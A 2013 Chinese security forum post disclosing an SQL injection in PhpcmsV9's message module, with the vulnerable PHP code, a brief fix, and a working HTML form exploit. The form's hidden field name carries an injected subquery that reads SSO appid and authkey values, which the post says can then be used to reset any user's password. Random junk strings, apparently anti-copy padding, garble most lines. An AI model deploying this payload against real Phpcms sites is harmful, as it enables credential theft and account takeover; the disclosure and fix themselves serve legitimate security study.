找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1949|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
3 {/ ]+ W- l4 X0 A9 N' ?2 i- x: p% d+ L2 H% N% A6 i0 [+ B2 d# h
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
& m, b' F4 F9 Z, M* n
3 Q( z8 j  }8 {5 A明天再更新下一个漏洞。
& O" H- e/ w; Z0 w/ j详细说明:
$ G% s& n. [" c6 l/ A+ j3 e在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ a5 b: c: l5 O$ T, C) q( A

' M; o/ z2 t' F. e7 F- n+ K$messageid = $this->message_db->insert($_POST['info'],true);9 [9 G- e5 D# M, m4 W$ P
7 L/ ]9 i! I* W) h; J3 q, y

7 C. k/ q- U6 c% g3 B/ e" oinsert方法是key value的,代码如下:
) m/ V8 J6 B+ H4 {
- ^' H, S. D" B* apublic function insert($data, $table, $return_insert_id = false, $replace = false) {8 }+ V) a5 t, D" C1 N  E& I9 Q" ^
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
1 h! Y; I, D: {4 A0 O                        return false;
: G- w! {0 `" J1 I# `: ?                }6 R( a9 t3 I/ W- M7 y4 {  e8 R
                , E# q/ e7 u$ }$ L
                $fielddata = array_keys($data);+ S% e8 {0 @4 l! X9 ~4 B
                $valuedata = array_values($data);
, H9 ^" v! A$ j7 s8 C                array_walk($fielddata, array($this, 'add_special_char'));0 n* k: z4 K4 B& v
                array_walk($valuedata, array($this, 'escape_string'));
/ E! {1 b! d; O% t- b               
5 V3 J0 q  E2 i8 \                $field = implode (',', $fielddata);
; `7 F' w: t6 J5 B. _0 U9 @                $value = implode (',', $valuedata);  F. s, ^; c  k1 w: t$ k
2 v& a2 v1 P4 K) p6 L* w' N
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# W7 T7 E& h! T+ S: |
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
* F# V1 T+ D4 s' f. s7 z# q3 ]                $return = $this->execute($sql);# \& p* X) y0 F& @+ }( n. [
                return $return_insert_id ? $this->insert_id() : $return;6 I, a- @+ Q. F9 F* j$ F6 V! [- V
        }
  w( R7 @6 L: P: m
( z& e  U& W5 g
) a+ }, o4 t7 x嗯,很遗憾的是
0 L0 t' P) E: h4 L  H/ t0 ]6 m" s) O! O9 k
array_walk($fielddata, array($this, 'add_special_char'));; g! ?- \& ~) O8 _" v+ q

- g/ N8 m; D- b3 L8 _& r1 E: w; `1 S4 R$ j' j
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。0 m6 }6 S5 a" R: w
: O/ G* T6 _3 a: T' E
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
+ K; e) G) n1 u! h8 S3 `  I0 o  l+ X* D. w7 C  C
漏洞证明:( h( w# I. d$ f2 V+ w3 {8 J7 G
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 y! Y: K/ O4 R. M& X! L0 N! Q& ]! {# k( E7 n7 k

9 g8 D8 [) f0 s表单如下:用户名什么的得自己改一改。. c5 H: V$ x: ?9 d
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) t8 d7 T$ ], ?/ N8 A( V1 p* n2 |<table width="100%" cellspacing="0" class="table_form">
  f$ _$ n' H. C<tr>* z" @- o* Q8 u& T# z) P
<th>标 题:</th>: a; _  c* f; h4 S$ U
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
; x7 x( ?$ f: Z$ p</tr>
/ i. x( g4 c* a2 |! @  P- v5 j<tr>
# o4 H7 [9 O  b+ i! n; Z+ ]! c( e<th>内 容:</th>
7 G7 f) I# ~8 ]) U<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
( w2 \0 H8 ?4 M, j: t</tr>4 R8 p; Q: O( x' G; y
<input type="hidden" name="info[replyid]" value="2" />
; P; j; L7 z; j8 E, N3 z<input type="hidden" name="info[send_to_id]" value="cc" /> " M# f& Y8 g0 M" F
<input type="hidden" name="info[send_from_id]" value="hh">6 z, X; i# \6 p8 ~0 X# }( `( |
<!-- 漏洞的利用重点在这里开始 -->
' f) F( b- F& s; T<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> + v* w. u& _; L, s" M
<!-- 漏洞的利用重点在这里结束 -->
' i) C1 o5 O, E! v/ \+ ^2 @0 m* ^<tr>
7 f1 H  V" O. [2 |: L0 y5 z5 _6 y* M<th>验证码:</th>
0 D# E2 L3 ^  u, e/ a4 o' F; O: H<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
7 o4 G" w; \1 l: M; h0 O</tr>, f; `$ d& u% r# O7 e$ p
<tr>& t% H1 A# O5 x. ?" o& {
<td></td>
8 q" G- I8 t' O+ @) i<td colspan="2"><label>
; c% R% k2 i% ?4 d<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
) c# Y% L7 y. Q5 C4 d6 Q</label></td>
6 L, O& F& m5 F, y8 _- X</tr>
, q4 Z, T1 x9 v0 u. P. ^' Y1 P</table>
6 \8 m6 N2 S4 N+ @</form>. o6 b/ j7 v, k0 |
在add_special_char函数内对key做过滤就可以了。9 s# |3 c6 |: V; x* F

  H" A/ m. M$ R( l5 L4 a1 I5 h  W* \& J2 w7 s
' j& g: W3 H8 h) e( v0 }- s$ w

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表